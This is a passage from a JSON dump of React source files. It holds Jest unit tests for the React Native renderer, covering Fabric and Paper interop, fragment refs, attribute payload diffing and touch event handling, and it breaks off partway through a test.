expect(internalInstanceHandle).toEqual(expect.any(Object));\n\n    // Text public instances should be created lazily.\n    expect(\n      ReactNativePrivateInterface.createPublicTextInstance,\n    ).not.toHaveBeenCalled();\n\n    const publicInstance =\n      ReactFabric.getPublicInstanceFromInternalInstanceHandle(\n        internalInstanceHandle,\n      );\n\n    // We just requested the text public instance, so it should have been created at this point.\n    expect(\n      ReactNativePrivateInterface.createPublicTextInstance,\n    ).toHaveBeenCalledTimes(1);\n    expect(\n      ReactNativePrivateInterface.createPublicTextInstance,\n    ).toHaveBeenCalledWith(internalInstanceHandle);\n\n    const expectedPublicInstance =\n      ReactNativePrivateInterface.createPublicTextInstance.mock.results[0]\n        .value;\n    expect(publicInstance).toBe(expectedPublicInstance);\n\n    await act(() => {\n      ReactFabric.render(null, 1, null, true);\n    });\n\n    const publicInstanceAfterUnmount =\n      ReactFabric.getPublicInstanceFromInternalInstanceHandle(\n        internalInstanceHandle,\n      );\n\n    expect(publicInstanceAfterUnmount).toBe(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactFabricAndNative-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactFabric;\nlet ReactNative;\nlet UIManager;\nlet createReactNativeComponentClass;\nlet ReactNativePrivateInterface;\nlet getNativeTagFromPublicInstance;\n\ndescribe('created with ReactFabric called with ReactNative', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    require('react-native/Libraries/ReactPrivate/InitializeNativeFabricUIManager');\n    ReactNative = require('react-native-renderer');\n    jest.resetModules();\n    ReactNativePrivateInterface = require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface');\n    UIManager =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').UIManager;\n    jest.mock('shared/ReactFeatureFlags', () =>\n      require('shared/forks/ReactFeatureFlags.native-oss'),\n    );\n\n    React = require('react');\n    ReactFabric = require('react-native-renderer/fabric');\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n    getNativeTagFromPublicInstance =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').getNativeTagFromPublicInstance;\n  });\n\n  it('find Fabric instances with the RN renderer', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    class Component extends React.Component {\n      render() {\n        return <View title=\"foo\" />;\n      }\n    }\n\n    ReactFabric.render(<Component ref={ref} />, 11);\n\n    const instance = ReactNative.findHostInstance_DEPRECATED(ref.current);\n    expect(getNativeTagFromPublicInstance(instance)).toBe(2);\n  });\n\n  it('find Fabric nodes with the RN renderer', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    class Component extends React.Component {\n      render() {\n        return <View title=\"foo\" />;\n      }\n    }\n\n    ReactFabric.render(<Component ref={ref} />, 11);\n\n    const handle = ReactNative.findNodeHandle(ref.current);\n    expect(handle).toBe(2);\n  });\n\n  it('dispatches commands on Fabric nodes with the RN renderer', () => {\n    nativeFabricUIManager.dispatchCommand.mockClear();\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    ReactFabric.render(<View title=\"bar\" ref={ref} />, 11);\n    expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();\n    ReactNative.dispatchCommand(ref.current, 'myCommand', [10, 20]);\n    expect(nativeFabricUIManager.dispatchCommand).toHaveBeenCalledTimes(1);\n    expect(nativeFabricUIManager.dispatchCommand).toHaveBeenCalledWith(\n      expect.any(Object),\n      'myCommand',\n      [10, 20],\n    );\n    expect(UIManager.dispatchViewManagerCommand).not.toBeCalled();\n  });\n\n  it('dispatches sendAccessibilityEvent on Fabric nodes with the RN renderer', () => {\n    nativeFabricUIManager.sendAccessibilityEvent.mockClear();\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    ReactFabric.render(<View title=\"bar\" ref={ref} />, 11);\n    expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();\n    ReactNative.sendAccessibilityEvent(ref.current, 'focus');\n    expect(nativeFabricUIManager.sendAccessibilityEvent).toHaveBeenCalledTimes(\n      1,\n    );\n    expect(nativeFabricUIManager.sendAccessibilityEvent).toHaveBeenCalledWith(\n      expect.any(Object),\n      'focus',\n    );\n    expect(UIManager.sendAccessibilityEvent).not.toBeCalled();\n  });\n});\n\ndescribe('created with ReactNative called with ReactFabric', () => {\n  beforeEach(() => {\n    jest.resetModules();\n    require('react-native/Libraries/ReactPrivate/InitializeNativeFabricUIManager');\n    ReactFabric = require('react-native-renderer/fabric');\n    jest.resetModules();\n    UIManager =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').UIManager;\n    jest.mock('shared/ReactFeatureFlags', () =>\n      require('shared/forks/ReactFeatureFlags.native-oss'),\n    );\n    ReactNative = require('react-native-renderer');\n\n    React = require('react');\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n  });\n\n  it('find Paper instances with the Fabric renderer', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    class Component extends React.Component {\n      render() {\n        return <View title=\"foo\" />;\n      }\n    }\n\n    ReactNative.render(<Component ref={ref} />, 11);\n\n    const instance = ReactFabric.findHostInstance_DEPRECATED(ref.current);\n    expect(instance._nativeTag).toBe(3);\n  });\n\n  it('find Paper nodes with the Fabric renderer', () => {\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    class Component extends React.Component {\n      render() {\n        return <View title=\"foo\" />;\n      }\n    }\n\n    ReactNative.render(<Component ref={ref} />, 11);\n\n    const handle = ReactFabric.findNodeHandle(ref.current);\n    expect(handle).toBe(3);\n  });\n\n  it('dispatches commands on Paper nodes with the Fabric renderer', () => {\n    UIManager.dispatchViewManagerCommand.mockReset();\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    ReactNative.render(<View title=\"bar\" ref={ref} />, 11);\n    expect(UIManager.dispatchViewManagerCommand).not.toBeCalled();\n    ReactFabric.dispatchCommand(ref.current, 'myCommand', [10, 20]);\n    expect(UIManager.dispatchViewManagerCommand).toHaveBeenCalledTimes(1);\n    expect(UIManager.dispatchViewManagerCommand).toHaveBeenCalledWith(\n      expect.any(Number),\n      'myCommand',\n      [10, 20],\n    );\n\n    expect(nativeFabricUIManager.dispatchCommand).not.toBeCalled();\n  });\n\n  it('dispatches sendAccessibilityEvent on Paper nodes with the Fabric renderer', () => {\n    ReactNativePrivateInterface.legacySendAccessibilityEvent.mockReset();\n    const View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {title: true},\n      uiViewClassName: 'RCTView',\n    }));\n\n    const ref = React.createRef();\n\n    ReactNative.render(<View title=\"bar\" ref={ref} />, 11);\n    expect(\n      ReactNativePrivateInterface.legacySendAccessibilityEvent,\n    ).not.toBeCalled();\n    ReactFabric.sendAccessibilityEvent(ref.current, 'focus');\n    expect(\n      ReactNativePrivateInterface.legacySendAccessibilityEvent,\n    ).toHaveBeenCalledTimes(1);\n    expect(\n      ReactNativePrivateInterface.legacySendAccessibilityEvent,\n    ).toHaveBeenCalledWith(expect.any(Number), 'focus');\n\n    expect(nativeFabricUIManager.sendAccessibilityEvent).not.toBeCalled();\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactFabricFragmentRefs-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet React;\nlet ReactFabric;\nlet createReactNativeComponentClass;\nlet act;\nlet View;\nlet Text;\n\ndescribe('Fabric FragmentRefs', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    require('react-native/Libraries/ReactPrivate/InitializeNativeFabricUIManager');\n\n    React = require('react');\n    ReactFabric = require('react-native-renderer/fabric');\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n    ({act} = require('internal-test-utils'));\n    View = createReactNativeComponentClass('RCTView', () => ({\n      validAttributes: {nativeID: true},\n      uiViewClassName: 'RCTView',\n    }));\n    Text = createReactNativeComponentClass('RCTText', () => ({\n      validAttributes: {nativeID: true},\n      uiViewClassName: 'RCTText',\n    }));\n  });\n\n  // @gate enableFragmentRefs\n  it('attaches a ref to Fragment', async () => {\n    const fragmentRef = React.createRef();\n\n    await act(() =>\n      ReactFabric.render(\n        <View>\n          <React.Fragment ref={fragmentRef}>\n            <View>\n              <Text>Hi</Text>\n            </View>\n          </React.Fragment>\n        </View>,\n        11,\n        null,\n        true,\n      ),\n    );\n\n    expect(fragmentRef.current).not.toBe(null);\n  });\n\n  // @gate enableFragmentRefs\n  it('accepts a ref callback', async () => {\n    let fragmentRef;\n\n    await act(() => {\n      ReactFabric.render(\n        <React.Fragment ref={ref => (fragmentRef = ref)}>\n          <View nativeID=\"child\">\n            <Text>Hi</Text>\n          </View>\n        </React.Fragment>,\n        11,\n        null,\n        true,\n      );\n    });\n\n    expect(fragmentRef && fragmentRef._fragmentFiber).toBeTruthy();\n  });\n\n  describe('observers', () => {\n    // @gate enableFragmentRefs\n    it('observes children, newly added children', async () => {\n      let logs = [];\n      const observer = {\n        observe: entry => {\n          // Here we reference internals because we don't need to mock the native observer\n          // We only need to test that each child node is observed on insertion\n          logs.push(entry.__internalInstanceHandle.pendingProps.nativeID);\n        },\n      };\n      function Test({showB}) {\n        const fragmentRef = React.useRef(null);\n        React.useEffect(() => {\n          fragmentRef.current.observeUsing(observer);\n          const lastRefValue = fragmentRef.current;\n          return () => {\n            lastRefValue.unobserveUsing(observer);\n          };\n        }, []);\n        return (\n          <View nativeID=\"parent\">\n            <React.Fragment ref={fragmentRef}>\n              <View nativeID=\"A\" />\n              {showB && <View nativeID=\"B\" />}\n            </React.Fragment>\n          </View>\n        );\n      }\n\n      await act(() => {\n        ReactFabric.render(<Test showB={false} />, 11, null, true);\n      });\n      expect(logs).toEqual(['A']);\n      logs = [];\n      await act(() => {\n        ReactFabric.render(<Test showB={true} />, 11, null, true);\n      });\n      expect(logs).toEqual(['B']);\n    });\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactNativeAttributePayload-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @jest-environment node\n */\n'use strict';\n\nconst ReactNativeAttributePayload = require('../ReactNativeAttributePayload');\n\nconst diff = ReactNativeAttributePayload.diff;\n\ndescribe('ReactNativeAttributePayload', () => {\n  it('should work with simple example', () => {\n    expect(diff({a: 1, c: 3}, {b: 2, c: 3}, {a: true, b: true})).toEqual({\n      a: null,\n      b: 2,\n    });\n  });\n\n  it('should skip fields that are equal', () => {\n    expect(\n      diff(\n        {a: 1, b: 'two', c: true, d: false, e: undefined, f: 0},\n        {a: 1, b: 'two', c: true, d: false, e: undefined, f: 0},\n        {a: true, b: true, c: true, d: true, e: true, f: true},\n      ),\n    ).toEqual(null);\n  });\n\n  it('should remove fields', () => {\n    expect(diff({a: 1}, {}, {a: true})).toEqual({a: null});\n  });\n\n  it('should remove fields that are set to undefined', () => {\n    expect(diff({a: 1}, {a: undefined}, {a: true})).toEqual({a: null});\n  });\n\n  it('should ignore invalid fields', () => {\n    expect(diff({a: 1}, {b: 2}, {})).toEqual(null);\n  });\n\n  it('should use the diff attribute', () => {\n    const diffA = jest.fn((a, b) => true);\n    const diffB = jest.fn((a, b) => false);\n    expect(\n      diff(\n        {a: [1], b: [3]},\n        {a: [2], b: [4]},\n        {a: {diff: diffA}, b: {diff: diffB}},\n      ),\n    ).toEqual({a: [2]});\n    expect(diffA).toBeCalledWith([1], [2]);\n    expect(diffB).toBeCalledWith([3], [4]);\n  });\n\n  it('should not use the diff attribute on addition/removal', () => {\n    const diffA = jest.fn();\n    const diffB = jest.fn();\n    expect(\n      diff({a: [1]}, {b: [2]}, {a: {diff: diffA}, b: {diff: diffB}}),\n    ).toEqual({a: null, b: [2]});\n    expect(diffA).not.toBeCalled();\n    expect(diffB).not.toBeCalled();\n  });\n\n  it('should do deep diffs of Objects by default', () => {\n    expect(\n      diff(\n        {a: [1], b: {k: [3, 4]}, c: {k: [4, 4]}},\n        {a: [2], b: {k: [3, 4]}, c: {k: [4, 5]}},\n        {a: true, b: true, c: true},\n      ),\n    ).toEqual({a: [2], c: {k: [4, 5]}});\n  });\n\n  it('should work with undefined styles', () => {\n    expect(\n      diff(\n        {style: {a: '#ffffff', b: 1}},\n        {style: undefined},\n        {style: {b: true}},\n      ),\n    ).toEqual({b: null});\n    expect(\n      diff(\n        {style: undefined},\n        {style: {a: '#ffffff', b: 1}},\n        {style: {b: true}},\n      ),\n    ).toEqual({b: 1});\n    expect(\n      diff({style: undefined}, {style: undefined}, {style: {b: true}}),\n    ).toEqual(null);\n  });\n\n  it('should work with empty styles', () => {\n    expect(diff({a: 1, c: 3}, {}, {a: true, b: true})).toEqual({a: null});\n    expect(diff({}, {a: 1, c: 3}, {a: true, b: true})).toEqual({a: 1});\n    expect(diff({}, {}, {a: true, b: true})).toEqual(null);\n  });\n\n  it('should flatten nested styles and predefined styles', () => {\n    const validStyleAttribute = {someStyle: {foo: true, bar: true}};\n\n    expect(\n      diff({}, {someStyle: [{foo: 1}, {bar: 2}]}, validStyleAttribute),\n    ).toEqual({foo: 1, bar: 2});\n\n    expect(\n      diff({someStyle: [{foo: 1}, {bar: 2}]}, {}, validStyleAttribute),\n    ).toEqual({foo: null, bar: null});\n\n    const barStyle = {\n      bar: 3,\n    };\n\n    expect(\n      diff(\n        {},\n        {someStyle: [[{foo: 1}, {foo: 2}], barStyle]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: 2, bar: 3});\n  });\n\n  it('should reset a value to a previous if it is removed', () => {\n    const validStyleAttribute = {someStyle: {foo: true, bar: true}};\n\n    expect(\n      diff(\n        {someStyle: [{foo: 1}, {foo: 3}]},\n        {someStyle: [{foo: 1}, {bar: 2}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: 1, bar: 2});\n  });\n\n  it('should not clear removed props if they are still in another slot', () => {\n    const validStyleAttribute = {someStyle: {foo: true, bar: true}};\n\n    expect(\n      diff(\n        {someStyle: [{}, {foo: 3, bar: 2}]},\n        {someStyle: [{foo: 3}, {bar: 2}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: 3}); // this should ideally be null. heuristic tradeoff.\n\n    expect(\n      diff(\n        {someStyle: [{}, {foo: 3, bar: 2}]},\n        {someStyle: [{foo: 1, bar: 1}, {bar: 2}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({bar: 2, foo: 1});\n  });\n\n  it('should clear a prop if a later style is explicit null/undefined', () => {\n    const validStyleAttribute = {someStyle: {foo: true, bar: true}};\n    expect(\n      diff(\n        {someStyle: [{}, {foo: 3, bar: 2}]},\n        {someStyle: [{foo: 1}, {bar: 2, foo: null}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: null});\n\n    expect(\n      diff(\n        {someStyle: [{foo: 3}, {foo: null, bar: 2}]},\n        {someStyle: [{foo: null}, {bar: 2}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: null});\n\n    expect(\n      diff(\n        {someStyle: [{foo: 1}, {foo: null}]},\n        {someStyle: [{foo: 2}, {foo: null}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: null}); // this should ideally be null. heuristic.\n\n    // Test the same case with object equality because an early bailout doesn't\n    // work in this case.\n    const fooObj = {foo: 3};\n    expect(\n      diff(\n        {someStyle: [{foo: 1}, fooObj]},\n        {someStyle: [{foo: 2}, fooObj]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: 3}); // this should ideally be null. heuristic.\n\n    expect(\n      diff(\n        {someStyle: [{foo: 1}, {foo: 3}]},\n        {someStyle: [{foo: 2}, {foo: undefined}]},\n        validStyleAttribute,\n      ),\n    ).toEqual({foo: null}); // this should ideally be null. heuristic.\n  });\n\n  it('handles attributes defined multiple times', () => {\n    const validAttributes = {foo: true, style: {foo: true}};\n    expect(diff({}, {foo: 4, style: {foo: 2}}, validAttributes)).toEqual({\n      foo: 2,\n    });\n    expect(diff({foo: 4}, {style: {foo: 2}}, validAttributes)).toEqual({\n      foo: 2,\n    });\n    expect(diff({style: {foo: 2}}, {foo: 4}, validAttributes)).toEqual({\n      foo: 4,\n    });\n  });\n\n  // Function properties are just markers to native that events should be sent.\n  it('should convert functions to booleans', () => {\n    // Note that if the property changes from one function to another, we don't\n    // need to send an update.\n    expect(\n      diff(\n        {\n          a: function () {\n            return 1;\n          },\n          b: function () {\n            return 2;\n          },\n          c: 3,\n        },\n        {\n          b: function () {\n            return 9;\n          },\n          c: function () {\n            return 3;\n          },\n        },\n        {a: true, b: true, c: true},\n      ),\n    ).toEqual({a: null, c: true});\n  });\n\n  it('should skip changed functions', () => {\n    expect(\n      diff(\n        {\n          a: function () {\n            return 1;\n          },\n        },\n        {\n          a: function () {\n            return 9;\n          },\n        },\n        {a: true},\n      ),\n    ).toEqual(null);\n  });\n\n  it('should skip deeply-nested changed functions', () => {\n    expect(\n      diff(\n        {\n          wrapper: {\n            a: function () {\n              return 1;\n            },\n          },\n        },\n        {\n          wrapper: {\n            a: function () {\n              return 9;\n            },\n          },\n        },\n        {wrapper: true},\n      ),\n    ).toEqual(null);\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactNativeError-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet createReactNativeComponentClass;\n\ndescribe('ReactNativeError', () => {\n  beforeEach(() => {\n    jest.resetModules();\n\n    createReactNativeComponentClass =\n      require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n        .ReactNativeViewConfigRegistry.register;\n  });\n\n  it('should throw error if null component registration getter is used', () => {\n    expect(() => {\n      try {\n        createReactNativeComponentClass('View', null);\n      } catch (e) {\n        throw new Error(e.toString());\n      }\n    }).toThrow(\n      'View config getter callback for component `View` must be a function (received `null`)',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-native-renderer/src/__tests__/ReactNativeEvents-test.internal.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n * @jest-environment node\n */\n\n'use strict';\n\nlet PropTypes;\nlet RCTEventEmitter;\nlet React;\nlet act;\nlet ReactNative;\nlet ResponderEventPlugin;\nlet UIManager;\nlet createReactNativeComponentClass;\nlet assertConsoleErrorDev;\n\n// Parallels requireNativeComponent() in that it lazily constructs a view config,\n// And registers view manager event types with ReactNativeViewConfigRegistry.\nconst fakeRequireNativeComponent = (uiViewClassName, validAttributes) => {\n  const getViewConfig = () => {\n    const viewConfig = {\n      uiViewClassName,\n      validAttributes,\n      bubblingEventTypes: {\n        topTouchCancel: {\n          phasedRegistrationNames: {\n            bubbled: 'onTouchCancel',\n            captured: 'onTouchCancelCapture',\n          },\n        },\n        topTouchEnd: {\n          phasedRegistrationNames: {\n            bubbled: 'onTouchEnd',\n            captured: 'onTouchEndCapture',\n          },\n        },\n        topTouchMove: {\n          phasedRegistrationNames: {\n            bubbled: 'onTouchMove',\n            captured: 'onTouchMoveCapture',\n          },\n        },\n        topTouchStart: {\n          phasedRegistrationNames: {\n            bubbled: 'onTouchStart',\n            captured: 'onTouchStartCapture',\n          },\n        },\n      },\n      directEventTypes: {},\n    };\n\n    return viewConfig;\n  };\n\n  return createReactNativeComponentClass(uiViewClassName, getViewConfig);\n};\n\nbeforeEach(() => {\n  jest.resetModules();\n\n  PropTypes = require('prop-types');\n  RCTEventEmitter =\n    require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').RCTEventEmitter;\n  React = require('react');\n  act = require('internal-test-utils').act;\n  assertConsoleErrorDev = require('internal-test-utils').assertConsoleErrorDev;\n  ReactNative = require('react-native-renderer');\n  ResponderEventPlugin =\n    require('react-native-renderer/src/legacy-events/ResponderEventPlugin').default;\n  UIManager =\n    require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface').UIManager;\n  createReactNativeComponentClass =\n    require('react-native/Libraries/ReactPrivate/ReactNativePrivateInterface')\n      .ReactNativeViewConfigRegistry.register;\n});\n\n// @gate !disableLegacyMode\ntest('fails to register the same event name with different types', async () => {\n  const InvalidEvents = createReactNativeComponentClass('InvalidEvents', () => {\n    if (!__DEV__) {\n      // Simulate a registration error in prod.\n      throw new Error('Event cannot be both direct and bubbling: topChange');\n    }\n\n    // This view config has the same bubbling and direct event name\n    // which will fail to register in development.\n    return {\n      uiViewClassName: 'InvalidEvents',\n      validAttributes: {\n        onChange: true,\n      },\n      bubblingEventTypes: {\n        topChange: {\n          phasedRegistrationNames: {\n            bubbled: 'onChange',\n            captured: 'onChangeCapture',\n          },\n        },\n      },\n      directEventTypes: {\n        topChange: {\n          registrationName: 'onChange',\n        },\n      },\n    };\n  });\n\n  // The first time this renders,\n  // we attempt to register the view config and fail.\n  await expect(\n    async () => await act(() => ReactNative.render(<InvalidEvents />, 1)),\n  ).rejects.toThrow('Event cannot be both direct and bubbling: topChange');\n\n  // Continue to re-register the config and\n  // fail so that we don't mask the above failure.\n  await expect(\n    async () => await act(() => ReactNative.render(<InvalidEvents />, 1)),\n  ).rejects.toThrow('Event cannot be both direct and bubbling: topChange');\n});\n\n// @gate !disableLegacyMode\ntest('fails if unknown/unsupported event types are dispatched', () => {\n  expect(RCTEventEmitter.register).toHaveBeenCalledTimes(1);\n  const EventEmitter = RCTEventEmitter.register.mock.calls[0][0];\n  const View = fakeRequireNativeComponent('View', {});\n\n  ReactNative.render(<View onUnspecifiedEvent={() => {}} />, 1);\n\n  expect(UIManager.__dumpHierarchyForJestTestsOnly()).toMatchInlineSnapshot(`\n    \"<native root> {}\n      View null\"\n  `);\n  expect(UIManager.createView).toHaveBeenCalledTimes(1);\n\n  const target = UIManager.createView.mock.calls[0][0];\n\n  expect(() => {\n    EventEmitter.receiveTouches(\n      'unspecifiedEvent',\n      [{target, identifier: 17}],\n      [0],\n    );\n  }).toThrow('Unsupported top level event type \"unspecifiedEvent\" dispatched');\n});\n\n// @gate !disableLegacyMode\ntest('handles events', () => {\n  expect(RCTEventEmitter.register).toHaveBeenCalledTimes(1);\n  const EventEmitter = RCTEventEmitter.register.mock.calls[0][0];\n  const View = fakeRequireNativeComponent('View', {foo: true});\n\n  const log = [];\n  ReactNative.render(\n    <View\n      foo=\"outer\"\n      onTouchEnd={() => log.push('outer touchend')}\n      onTouchEndCapture={() => log.push('outer touchend capture')}\n      onTouchStart={() => log.push('outer touchstart')}\n      onTouchStartCapture={() => log.push('outer touchstart capture')}>\n      <View\n        foo=\"inner\"\n        onTouchEndCapture={() => log.push('inner touchend capture')}\n        onTouchEnd={() => log.push('inner touchend')}\n        onTouchStartCapture={() => log.push('inner touchstart capture')}\n        onTouchStart={() => log.push('inner touchstart')}\n      />\n    </View>,\n    1,\n  );\n\n  expect(UIManager.__dumpHierarchyForJestTestsOnly()).toMatchInlineSnapshot(`\n    \"<native root> {}\n      View {\"foo\":\"outer\"}\n        View {\"foo\":\"inner\"}\"\n  `);\n  expect(UIManager.createView).toHaveBeenCalledTimes(2);\n\n  // Don't depend on the order of createView() calls.\n  // Stack creates views outside-in; fiber creates them inside-out.\n  const innerTag = UIManager.createView.mock.calls.find(\n    args => args[3].foo === 'inner',\n  )[0];\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: innerTag, identifier: 17}],\n    [0],\n  );\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: innerTag, identifier: 17}],\n    [0],\n  );\n\n  expect(log).toEqual([\n    'outer touchstart capture',\n    'inner touchstart capture',\n    'inner touchstart',\n    'outer touchstart',\n    'outer touchend capture',\n    'inner touchend capture',\n    'inner touchend',\n    'outer touchend',\n  ]);\n});\n\n// @gate !disableLegacyContext || !__DEV__\n// @gate !disableLegacyMode\ntest('handles events on text nodes', () => {\n  expect(RCTEventEmitter.register).toHaveBeenCalledTimes(1);\n  const EventEmitter = RCTEventEmitter.register.mock.calls[0][0];\n  const Text = fakeRequireNativeComponent('RCTText', {});\n\n  class ContextHack extends React.Component {\n    static childContextTypes = {isInAParentText: PropTypes.bool};\n    getChildContext() {\n      return {isInAParentText: true};\n    }\n    render() {\n      return this.props.children;\n    }\n  }\n\n  const log = [];\n  ReactNative.render(\n    <ContextHack>\n      <Text>\n        <Text\n          onTouchEnd={() => log.push('string touchend')}\n          onTouchEndCapture={() => log.push('string touchend capture')}\n          onTouchStart={() => log.push('string touchstart')}\n          onTouchStartCapture={() => log.push('string touchstart capture')}>\n          Text Content\n        </Text>\n        <Text\n          onTouchEnd={() => log.push('number touchend')}\n          onTouchEndCapture={() => log.push('number touchend capture')}\n          onTouchStart={() => log.push('number touchstart')}\n          onTouchStartCapture={() => log.push('number touchstart capture')}>\n          {123}\n        </Text>\n      </Text>\n    </ContextHack>,\n    1,\n  );\n  assertConsoleErrorDev([\n    'ContextHack uses the legacy childContextTypes API which will soon be removed. ' +\n      'Use React.createContext() instead. ' +\n      '(https://react.dev/link/legacy-context)' +\n      '\\n    in ContextHack (at **)',\n  ]);\n\n  expect(UIManager.createView).toHaveBeenCalledTimes(5);\n\n  // Don't depend on the order of createView() calls.\n  // Stack creates views outside-in; fiber creates them inside-out.\n  const innerTagString = UIManager.createView.mock.calls.find(\n    args => args[3] && args[3].text === 'Text Content',\n  )[0];\n  const innerTagNumber = UIManager.createView.mock.calls.find(\n    args => args[3] && args[3].text === '123',\n  )[0];\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: innerTagString, identifier: 17}],\n    [0],\n  );\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: innerTagString, identifier: 17}],\n    [0],\n  );\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: innerTagNumber, identifier: 18}],\n    [0],\n  );\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: innerTagNumber, identifier: 18}],\n    [0],\n  );\n\n  expect(log).toEqual([\n    'string touchstart capture',\n    'string touchstart',\n    'string touchend capture',\n    'string touchend',\n    'number touchstart capture',\n    'number touchstart',\n    'number touchend capture',\n    'number touchend',\n  ]);\n});\n\n// @gate !disableLegacyMode\ntest('handles when a responder is unmounted while a touch sequence is in progress', () => {\n  const EventEmitter = RCTEventEmitter.register.mock.calls[0][0];\n  const View = fakeRequireNativeComponent('View', {id: true});\n\n  function getViewById(id) {\n    return UIManager.createView.mock.calls.find(\n      args => args[3] && args[3].id === id,\n    )[0];\n  }\n\n  function getResponderId() {\n    const responder = ResponderEventPlugin._getResponder();\n    if (responder === null) {\n      return null;\n    }\n    const props = responder.memoizedProps;\n    return props ? props.id : null;\n  }\n\n  const log = [];\n  ReactNative.render(\n    <View id=\"parent\">\n      <View key={1}>\n        <View\n          id=\"one\"\n          onResponderEnd={() => log.push('one responder end')}\n          onResponderStart={() => log.push('one responder start')}\n          onStartShouldSetResponder={() => true}\n        />\n      </View>\n      <View key={2}>\n        <View\n          id=\"two\"\n          onResponderEnd={() => log.push('two responder end')}\n          onResponderStart={() => log.push('two responder start')}\n          onStartShouldSetResponder={() => true}\n        />\n      </View>\n    </View>,\n    1,\n  );\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: getViewById('one'), identifier: 17}],\n    [0],\n  );\n\n  expect(getResponderId()).toBe('one');\n  expect(log).toEqual(['one responder start']);\n  log.splice(0);\n\n  ReactNative.render(\n    <View id=\"parent\">\n      <View key={2}>\n        <View\n          id=\"two\"\n          onResponderEnd={() => log.push('two responder end')}\n          onResponderStart={() => log.push('two responder start')}\n          onStartShouldSetResponder={() => true}\n        />\n      </View>\n    </View>,\n    1,\n  );\n\n  // TODO Verify the onResponderEnd listener has been called (before the unmount)\n  // expect(log).toEqual(['one responder end']);\n  // log.splice(0);\n\n  EventEmitter.receiveTouches(\n    'topTouchEnd',\n    [{target: getViewById('two'), identifier: 17}],\n    [0],\n  );\n\n  expect(getResponderId()).toBeNull();\n  expect(log).toEqual([]);\n\n  EventEmitter.receiveTouches(\n    'topTouchStart',\n    [{target: getViewById('two'), identifier: 17}],\n    [0],\n  );\n\n  expect(getResponderId()).toBe('two');\n  expect(log).toEqual(['two responder start']);\n});\n\n// @gate !disableLegacyMode\ntest('handles events without target', () => {\n  const EventEmitter = 